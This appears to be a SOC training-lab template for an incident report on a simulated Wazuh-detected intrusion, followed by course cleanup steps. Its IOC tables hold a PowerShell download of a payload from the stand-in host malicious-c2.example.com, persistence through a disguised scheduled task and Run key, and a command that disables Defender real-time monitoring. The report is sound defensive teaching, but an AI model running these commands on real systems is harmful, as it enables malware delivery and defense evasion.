| Date/Time of Containment | 2026-06-29 [[CONTAINMENT_TIME="time you finished artifact cleanup"]] |
| Severity | HIGH |
| Status | Contained - Artifacts Removed |
| Author | [[YOURNAME="your name"]] |
| SIEM Platform | Wazuh v4.14.5 |
| Data Sources | Sysmon Event ID 1, Wazuh custom rules 100100-100106 |

## Executive Summary

A coordinated multi-stage intrusion was detected on [[HOSTNAME="your Windows endpoint hostname"]] targeting the Persistence and Defense Evasion MITRE ATT&CK tactics. The attacker executed a 4-phase kill chain: tool download (T1105), scheduled task persistence (T1053.005), registry Run key persistence (T1547.001), and endpoint protection tampering (T1562.001). All phases were detected by custom Wazuh rules within the alerting pipeline. Artifacts were removed and the endpoint was restored to a secure state.

## Scope

- Target: [[HOSTNAME="your Windows endpoint hostname"]] (Windows endpoint)
- Time Window: [[TIME_1="Phase 1 timestamp from your log"]] to [[TIME_4="Phase 4 timestamp from your log"]]
- Data Sources: Wazuh alerts index (wazuh-alerts-*), Sysmon Event ID 1 (Process Creation)
- Detection Rules: Custom rules 100100, 100102, 100103, 100106 chaining off Sysmon parent rule 92000
- SIEM Version: Wazuh v4.14.5 deployed via Docker (single-node)

## Forensic Timeline

| Time | Event | Rule ID | MITRE Technique | Severity | User |
|------|-------|---------|-----------------|----------|------|
| [[TIME_1="Phase 1 timestamp from your log"]] | PowerShell Invoke-WebRequest to malicious-c2.example.com | 100100 | T1105 | 10 | [[USER="user account from your alerts"]] |
| [[TIME_2="Phase 2 timestamp from your log"]] | Scheduled task "WindowsUpdateCheck" created with /sc onlogon | 100103 | T1053.005 | 12 | [[USER="user account from your alerts"]] |
| [[TIME_3="Phase 3 timestamp from your log"]] | Registry Run key "WindowsUpdateCheck" added to HKCU\...\Run | 100106 | T1547.001 | 12 | [[USER="user account from your alerts"]] |
| [[TIME_4="Phase 4 timestamp from your log"]] | Set-MpPreference -DisableRealtimeMonitoring executed | 100102 | T1562.001 | 12 | [[USER="user account from your alerts"]] |

## Indicators of Compromise

| IOC Type | Value | MITRE Technique | Severity |
|----------|-------|-----------------|----------|
| Process Execution | Invoke-WebRequest -Uri 'http://malicious-c2.example.com/payload.exe' | T1105 | Medium |
| Scheduled Task | "WindowsUpdateCheck" executing C:\temp\payload.exe at logon | T1053.005 | High |
| Registry Key | HKCU\Software\Microsoft\Windows\CurrentVersion\Run\WindowsUpdateCheck | T1547.001 | High |
| PowerShell Command | Set-MpPreference -DisableRealtimeMonitoring $true | T1562.001 | High |

## MITRE ATT&CK Mapping

| Tactic | Technique ID | Technique Name | Evidence |
|--------|--------------|----------------|----------|
| Command and Control | T1105 | Ingress Tool Transfer | PowerShell download attempt to external C2 domain |
| Persistence | T1053.005 | Scheduled Task/Job: Scheduled Task | Task "WindowsUpdateCheck" set to execute at logon |
| Persistence | T1547.001 | Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder | Run key added under HKCU |
| Defense Evasion | T1562.001 | Impair Defenses: Disable or Modify Tools | Windows Defender real-time monitoring disabled |

## Root Cause Analysis

The attacker operated from an elevated PowerShell session on the endpoint. The initial access vector in this lab scenario was direct command execution (simulating post-exploitation access). In a production environment, root cause analysis would trace the initial compromise back to its origin (phishing email, vulnerability exploitation, compromised credentials, etc.).

The attack followed a predictable kill chain pattern:
1. Tool staging (download remote access payload)
2. Persistence establishment (two mechanisms for redundancy)
3. Defense evasion (disable endpoint protection before further operations)

The dual persistence approach (scheduled task AND registry Run key) indicates an attacker preparing for long-term access who anticipated that one mechanism might be discovered and removed.

## Recommendations

1. **Remove all persistence artifacts** (completed):
   - `schtasks /delete /tn "WindowsUpdateCheck" /f`
   - `reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v WindowsUpdateCheck /f`

2. **Rotate credentials**: Reset passwords and invalidate tokens for all accounts that were active on the endpoint during the incident window.

3. **Deploy application whitelisting**: Implement Windows Defender Application Control (WDAC) or AppLocker to prevent execution of unsigned binaries from user-writable directories (C:\temp, Downloads, AppData).

4. **Add network-level monitoring**: Deploy detection for Set-MpPreference commands and monitor for outbound connections to uncategorized domains from endpoints.

5. **Expand Sysmon configuration**: Add monitoring for Sysmon Event ID 12/13 (Registry object creation/modification) to detect Run key changes without relying solely on command-line regex.

6. **Schedule recurring threat hunts**: Implement weekly hunts focused on persistence indicators (new scheduled tasks, Run key modifications, new local accounts) across all enrolled endpoints.

## Lessons Learned

**What worked well:**
- Custom detection rules fired on all 4 techniques within the alerting pipeline latency
- MITRE ATT&CK mapping enabled immediate classification of attacker intent
- Sysmon command-line capture provided full forensic detail for each event

**Detection gaps identified:**
- No alert for the initial access vector itself (how the attacker got elevated PowerShell access)
- Rules rely on command-line pattern matching; PowerShell obfuscation or alternative tools could evade
- No correlation rule linking the 4 events as a single incident (each fired independently)

**Recommended improvements:**
- Develop a correlation rule that escalates to CRITICAL when 3+ high-severity alerts from the same agent fire within a 5-minute window
- Add detection for obfuscated variants of Set-MpPreference
- Integrate threat intelligence feeds to flag known C2 domains at the network layer

You now have both documents that hiring managers test SOC analyst candidates on: one that communicates risk to leadership and one that proves your analytical depth to other engineers. Together, they demonstrate the communication versatility that separates L2 analysts from L1.

Secret mission

Write a DFIR Handover Document

In a real SOC, when an incident exceeds L2 analyst scope, you hand it off to the Digital Forensics and Incident Response team. The DFIR team needs raw facts and artifacts, not polished prose. Can you write a professional DFIR handover document that a forensics analyst could use to continue the investigation?

Clean Up Your Resources

Clean Up Your Resources

This project used your existing Wazuh Docker stack. No new paid resources were created. The markdown files you wrote are stored locally on your machine.

Decide whether to keep your resources running, pause them to come back later, or delete them entirely.

Resources you used:

• Docker containers (Wazuh manager, indexer, dashboard) consuming approximately 4GB RAM while running.
• Markdown files created on your local machine: executive_summary.md, incident_report.md, timeline_notes.md, and dfir_handover.md (Secret Mission).
• Attack Execution Log text file.

Keep everything running

No action needed. Choose this if you are still actively building on your SOC lab or planning to use Wazuh for future projects.

• Your Wazuh Docker stack continues running and consuming approximately 4GB of RAM.
• Your markdown report files remain on your local machine ready for portfolio use.

Pause - I'll come back to this later

Shut down running containers to free up RAM while keeping all data intact. You can resume later without re-creating anything.

• Navigate to your wazuh-docker/single-node/ directory and stop the containers by running:
• Resume later by running docker compose start from the same directory.

docker compose stop

Your markdown files stay on disk. No action needed for those.

Delete - I don't want to use this again

Remove all project resources and start fresh. This permanently deletes your Wazuh data and local files.

Remove the Docker stack and its data volumes by navigating to your wazuh-docker/single-node/ directory and running:

docker compose down -v

Uninstall Sysmon from your Windows endpoint by opening PowerShell as Administrator and running:

sysmon -u

Uninstall the Wazuh agent from your Windows endpoint. Open Settings, then Apps, then Apps & features. Find Wazuh Agent in the list and click Uninstall.

Delete the markdown files you created during this project. On macOS or Linux:

rm executive_summary.md incident_report.md timeline_notes.md dfir_handover.md

On Windows (PowerShell):

Remove-Item executive_summary.md, incident_report.md, timeline_notes.md, dfir_handover.md

Delete your Attack Execution Log text file from wherever you saved it.

Nice Work!

Nice Work!

You just produced a complete incident response documentation package from a real SIEM investigation. You now have hands-on proof that you can communicate security findings to any audience.

You have learned how to:

• Simulate a multi-stage attack chain and investigate it as a single coordinated incident, reconstructing the attacker's narrative from raw SIEM alert data.
• Write an executive incident summary that communicates risk in business language for non-technical leadership, with no jargon and clear decision-framed recommendations.
• Write a full technical incident response report following NIST/SANS-aligned structure with forensic timeline, IOC table, MITRE ATT&CK mapping, root cause analysis, and actionable remediation steps.
• Secret Mission: Wrote a DFIR handover document that preserves raw artifacts, reproduction queries, and investigation gaps for a forensics team to continue the investigation.

Ready to quiz yourself?